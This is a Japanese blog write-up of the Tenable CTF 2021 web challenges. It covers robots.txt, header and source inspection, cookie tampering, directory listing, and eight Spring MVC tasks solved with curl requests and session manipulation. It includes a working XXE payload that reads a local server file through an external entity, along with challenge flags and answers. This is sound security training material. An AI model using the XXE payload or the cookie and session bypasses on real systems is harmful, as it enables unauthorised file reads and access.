kanyewest CTF

勉強したことをメモしています。

Tenable CTF 2021: Writeup

Web

Stay Away Creepy Crawlers

robots.txtファイルをみる。

User-agent: *
Disallow: /admin/
# flag{mr_roboto}

flag: flag{mr_roboto}

Source of All Evil

ソースコードを見るだけ。

<!-- source flag : flag{best_implants_ever} -->

flag : flag{best_implants_ever}

Headers for you inspiration

レスポンスのヘッダにflagがある。

HTTP/1.1 200 OK
Date: Fri, 19 Feb 2021 02:21:59 GMT
Server: Apache/2.4.41 (Ubuntu)
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Flag: flag{headersftw}
Vary: Accept-Encoding
Content-Length: 1041
Connection: close
Content-Type: text/html; charset=UTF-8

flag: flag{headersftw}

Ripper Doc

/certified_rippers.phpにおいてauthenticatedというパラメータのCookieをtrueに書き換えてアクセスするとflagがでてくる。

 <ul>
      <b>Rippers:</b><li>&nbsp;&nbsp;<b>Don Sue Mei: dds123@example.com</b></li><li>&nbsp;&nbsp;<b>Lok Mah NoHans: llhsa@example.com</b></li><li>&nbsp;&nbsp;<b>Mr Flagerific: flag{messing_with_cookies}</b></li>

flag: flag{messing_with_cookies}

Show me what you got

/images/にアクセスするとファイルの一覧が見える。

f:id:tekashi:20210219113739p:plain

/images/aljdi3sd.txtの中身をみるとflagがある。

flag: flag{disable_directory_indexes}

Can't find it

存在しないリソースにアクセスしようとするとflagがでてくる

 WTF - Page not found!
btw - flag{404_oh_no} 

flag: flag{404_oh_no}

Send A Letter

f:id:tekashi:20210219123338p:plain

フォームを入力してみると

/send_letter.php?letter=%3C?xml%20version=%221.0%22%20encoding=%22ISO-8859-1%22?%3E%3Cletter%3E%3Cfrom%3E%3C/from%3E%3Creturn_addr%3E%3C/return_addr%3E%3Cname%3Eunko%3C/name%3E%3Caddr%3Eunko@unko.com%3C/addr%3E%3Cmessage%3Eunko%3C/message%3E%3C/letter%3E

letterパラメータにXMLを指定してGETしているので簡単な問題ならXXEの脆弱性がありそう。

適当にGETしてみると Message to unko appended to /tmp/messages_outbound.txt for pickup. Mailbox flag raised.というアラートがでてくる。

/tmp/messages_outbound.txtファイルを読めればよさそうなので単純なXXEをためすとflagがよめる。

Payload

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///tmp/messages_outbound.txt"> ]>
<letter><from></from><return_addr></return_addr><name>&ent;</name><addr>unko@unko.com</addr><message>unko</message></letter>

Response

Message to flag{xxe_aww_yeah}
 appended to /tmp/messages_outbound.txt for pickup. Mailbox flag raised.

flag: flag{xxe_aww_yeah}

Spring MVC 1

ソースコードをみてみるとMainController.javaの中に

   @GetMapping("/main")
        public ModelAndView getMain() {
        ModelAndView modelAndView = new ModelAndView("flag");
                modelAndView.addObject("flag", flags.getFlag("spring_mvc_1"));    // get main
                return modelAndView;
        }

という記述があり、 /mainにアクセスするとflagを手に入れることができる。

flag: flag{flag1_517d74}

Spring MVC 2

   @PostMapping("/main")
        public String postMain(@RequestParam(name="magicWord", required=false, defaultValue="") String magicWord, Model model) {
        if (magicWord.equals("please"))
            model.addAttribute("flag", flags.getFlag("spring_mvc_3"));    // post main param 
        else
                    model.addAttribute("flag", flags.getFlag("spring_mvc_2"));    // post main
                return "flag";
        }

/mainにPOSTすればflagゲットできそう

$ curl -i -X POST http://challenges.ctfd.io:30542/main
HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Transfer-Encoding: chunked
Date: Mon, 22 Feb 2021 10:31:11 GMT

<!DOCTYPE HTML>
<html>
<head>
    <title>Tenable CTF: Spring MVC</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
    <p >flag{flag2_de3981}</p>
</body>
</html>

flag: flag{flag2_de3981}

Spring MVC 3

さっきのコードをみてみるとmagicWordパラメータにpleaseを与えてPOSTすればよさそう。

$ curl -i -d "magicWord=please" http://challenges.ctfd.io:30542/main
HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Transfer-Encoding: chunked
Date: Mon, 22 Feb 2021 10:32:36 GMT

<!DOCTYPE HTML>
<html>
<head>
    <title>Tenable CTF: Spring MVC</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
    <p >flag{flag3_0d431e}</p>
</body>
</html>

flag: flag{flag3_0d431e}

Spring MVC 4

   @PostMapping(path = "/main", consumes = "application/json")
    public String postMainJson(Model model) {
                model.addAttribute("flag", flags.getFlag("spring_mvc_4"));    // post main flag json
                return "flag";
        }

HTTPリクエストのヘッダのContent-Typeapplication/jsonを指定すればよさそう。

$ curl -i -X POST -H 'Content-Type: application/json' http://challenges.ctfd.io:30542/main
HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Transfer-Encoding: chunked
Date: Mon, 22 Feb 2021 10:34:50 GMT

<!DOCTYPE HTML>
<html>
<head>
    <title>Tenable CTF: Spring MVC</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
    <p >flag{flag4_695954}</p>
</body>
</html>

flag: flag{flag4_695954}

Spring MVC 5

   @RequestMapping(path = "/main", method = RequestMethod.OPTIONS)
        public String optionsMain(Model model) {
                model.addAttribute("flag", flags.getFlag("spring_mvc_5"));    // options main
                return "flag";
        }

OPTIONSメソッドでリクエストすればよさそう。

$ curl -i -X OPTIONS http://challenges.ctfd.io:30542/main
HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Transfer-Encoding: chunked
Date: Mon, 22 Feb 2021 10:35:57 GMT

<!DOCTYPE HTML>
<html>
<head>
    <title>Tenable CTF: Spring MVC</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
    <p >flag{flag5_70102b}</p>
</body>
</html>

flag: flag{flag5_70102b}

Spring MVC 6

   @RequestMapping(path = "/main", method = RequestMethod.GET, headers = "Magic-Word=please")
        public String headersMain(Model model) {
                model.addAttribute("flag", flags.getFlag("spring_mvc_6"));    // headers main
                return "flag";
        }

GETメソッドでMagic-Wordヘッダにpleaseを指定してあげればよさそう。

$ curl -i -H 'Magic-Word: please' http://challenges.ctfd.io:30542/main
HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Transfer-Encoding: chunked
Date: Mon, 22 Feb 2021 10:37:32 GMT

<!DOCTYPE HTML>
<html>
<head>
    <title>Tenable CTF: Spring MVC</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
    <p >flag{flag6_ca1ddf}</p>
</body>
</html>

Spring MVC 7 (Hiding in Plain Sight)

src/main/resources/templetes/.hello.htmlファイルをみてみると

<!DOCTYPE HTML>
<html xmlns:th="http://www.thymeleaf.org">
<head>
    <title>Tenable CTF: Spring MVC</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <style type="text/css">
    span.hidden { color:white; }   
    </style>
</head>
<body>
    <p th:text="'Hello, ' + ${name} + '!'" />
    <p th:if="${name == 'please'}">
    <span class="hidden" th:text="${@flagService.getFlag('hidden_flag')}" />
    </p>
    <p th:if="${#session.getAttribute('realName') == 'admin'}">
    <span th:text="${#session.getAttribute('sessionFlag')}" />
    </p>
</body>
</html>

namepleaseを指定できれば隠れてるflagを表示させることができそう。

.helloを呼び出してるのは src/main/java/com/tenable/ctf/mvc/MainController.javaっぽいので処理の流れをみてみる

   @GetMapping("/")
    public String index(HttpSession session, Model model, @RequestParam(name="name", required=false, defaultValue="user") String name) {
        model.addAttribute("name", name);
        session.setAttribute("sessionFlag", flags.getFlag("session_flag"));
        return ".hello";
    }

http://challenges.ctfd.io:30542/?name=pleaseにアクセスすると

Hello, please!

flag{hidden_flag_1dbc4} 

flag: flag{hidden_flag_1dbc4}

Spring MVC 8 (Sessionable)

さっきの .hello.htmlの一部をみてみると

   <p th:if="${#session.getAttribute('realName') == 'admin'}">
    <span th:text="${#session.getAttribute('sessionFlag')}" />
    </p>

realNameadminに指定することができれば取得できそう。

MainController.javaをみると

   @GetMapping("/")
    public String index(HttpSession session, Model model, @RequestParam(name="name", required=false, defaultValue="user") String name) {
        model.addAttribute("name", name);
        session.setAttribute("sessionFlag", flags.getFlag("session_flag"));
        return ".hello";
    }

realNameの指定の仕方がよくわからないから検索してみると

src/main/java/com/tenable/ctf/mvc/OtherController.javaをみてみると

   @GetMapping("/other")
    public String index(@RequestParam(name="name", required=false, defaultValue="user") String realName, HttpSession session, Model model) {
        session.setAttribute("realName", realName);
        model.addAttribute("name", realName);
        return "hello";
    }

realNameは/otherで指定できるので http://challenges.ctfd.io:30542/other?name=adminにアクセスしてadminのセッションを取得したあとにhttp://challenges.ctfd.io:30542/にアクセスするとflagを取得することができる。

flag: flag{session_flag_0dac2c}